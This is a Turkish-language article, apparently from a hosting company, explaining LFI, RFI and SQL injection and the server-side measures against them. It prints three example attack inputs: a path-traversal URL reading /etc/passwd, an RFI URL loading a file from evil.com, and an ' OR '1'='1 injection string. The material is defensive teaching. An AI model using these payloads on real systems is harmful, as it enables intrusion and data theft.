LFI, RFI, SQL Injection Gibi Zafiyetlere Karşı Sunucu Güvenliği

E-posta Hosting Kampanya

Web uygulamalarının güvenliği, sadece yazılım katmanında değil, aynı zamanda sunucu tarafında da sıkı önlemler alınmasını gerektirir. Local File Inclusion (LFI), Remote File Inclusion (RFI) ve SQL Injection gibi saldırılar, sistemlerin zaaflarını hedef alarak hem veri ihlallerine hem de sistem kontrolünün ele geçirilmesine neden olabilir. Bu makalede, söz konusu zafiyetlerin ne olduğu, nasıl çalıştığı ve bu zafiyetlere karşı alınabilecek sunucu tabanlı güvenlik önlemleri detaylı şekilde ele alınmaktadır.

LFI (Local File Inclusion) Nedir?

LFI, saldırganın hedef sistemdeki dosyaları çağırmasına veya çalıştırmasına olanak sağlayan bir güvenlik açığıdır. Genellikle PHP tabanlı uygulamalarda görülür ve include, require gibi fonksiyonların kullanıcı girdisiyle kontrolsüz kullanılması durumunda ortaya çıkar.

LFI Saldırısının Tipik Kullanımı

http://example.com/page.php?file=../../../../etc/passwd

LFI’ye Karşı Alınması Gereken Önlemler

  • allow_url_include ve allow_url_fopen direktiflerinin devre dışı bırakılması
  • Dosya dahil etme işlemlerinde sabit tanımlamalar (whitelisting) kullanılması
  • Kullanıcı girdisinin sanitize ve validate edilmesi
  • PHP’de basename() ve realpath() kontrollerinin entegre edilmesi
  • Web sunucusu seviyesinde dosya erişim izinlerinin sınırlandırılması

RFI (Remote File Inclusion) Nedir?

RFI, uzak bir kaynaktan dosya çağırmaya ve çalıştırmaya olanak sağlayan bir güvenlik zafiyetidir. LFI’den farklı olarak saldırganın kendi kontrolündeki bir sunucudan zararlı dosya çalıştırması mümkündür.

RFI Saldırısının Tipik Kullanımı

http://example.com/page.php?file=http://evil.com/malicious.txt

RFI’ye Karşı Sunucu Taraflı Güvenlik Önlemleri

  • allow_url_fopen ve allow_url_include değerlerinin Off yapılması
  • Sunucu tarafında dış URL’lerin içe aktarılmasının engellenmesi
  • Dosya içeriği işlemlerinde sadece yerel path’lerin kullanılması
  • Web uygulama güvenlik duvarı (WAF) ile şüpheli URL parametrelerinin engellenmesi

SQL Injection Nedir?

SQL Injection, kullanıcı girişleri aracılığıyla SQL sorgularının manipüle edilmesini sağlar. Bu zafiyet, veritabanına doğrudan müdahale ile veri çalınmasına, güncellenmesine veya silinmesine neden olabilir.

SQL Injection Saldırısının Örneği

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

Eğer $user değeri ' OR '1'='1 şeklinde girilirse tüm kullanıcılar listelenebilir.

SQL Injection’a Karşı Alınması Gereken Önlemler

  • Hazır SQL sorguları yerine parametreli (prepared) sorgular kullanılmalıdır
  • ORM (Object Relational Mapping) kullanımı tercih edilmelidir
  • Kullanıcı girdileri hem istemci hem sunucu tarafında doğrulanmalıdır
  • Veritabanı kullanıcılarına minimum yetki verilmelidir (örneğin sadece SELECT)
  • SQL hatalarının kullanıcıya gösterilmesi engellenmelidir (display_errors = Off)

Sunucu Tarafında Genel Güvenlik Önlemleri

1. Dosya ve Dizin İzinleri

  • Web dizinlerinde yazılabilir dosya bırakılmamalı
  • /var/www/html gibi dizinlerde sadece okunabilir ve çalıştırılabilir izinler tanımlanmalı
  • chmod, chown ve umask ayarları düzenli kontrol edilmelidir

2. Web Uygulama Güvenlik Duvarı (WAF)

  • ModSecurity gibi WAF sistemleri, bilinen LFI, RFI, SQL Injection imzalarını tespit eder ve engeller
  • WAF ile gelen tüm HTTP istekleri analiz edilerek şüpheli davranışlar otomatik engellenebilir

3. Güncellemelerin Takibi ve Yama Yönetimi

  • PHP, MySQL, Apache/Nginx gibi servisler düzenli olarak güncellenmeli
  • Yazılım bağımlılıklarında kullanılan kütüphaneler (örneğin Composer paketleri) denetlenmelidir

4. Loglama ve İzleme

  • Sunucu erişim logları, PHP hata logları ve veritabanı logları düzenli incelenmelidir
  • Şüpheli URL kullanımları, çoklu hatalı oturum açma girişimleri gibi olaylar alarmlanmalıdır

5. Güvenli Kodlama Standartları

  • OWASP Top 10 listesine göre güvenli kodlama pratikleri uygulanmalı
  • Geliştiricilere periyodik güvenlik eğitimi verilmelidir

Sonuç

LFI, RFI ve SQL Injection gibi yaygın zafiyetler, çoğu zaman basit bir ihmal ya da yetersiz giriş kontrolü nedeniyle büyük güvenlik açıklarına dönüşebilir. Bu zafiyetlerin önlenmesi, yalnızca kodlama düzeyinde değil, aynı zamanda sunucu yapılandırması ve güvenlik politikalarının bütüncül olarak ele alınması ile mümkündür. Web uygulamalarının barındırıldığı altyapı, bu tehditlere karşı her an tetikte olacak şekilde tasarlanmalı ve denetlenmelidir.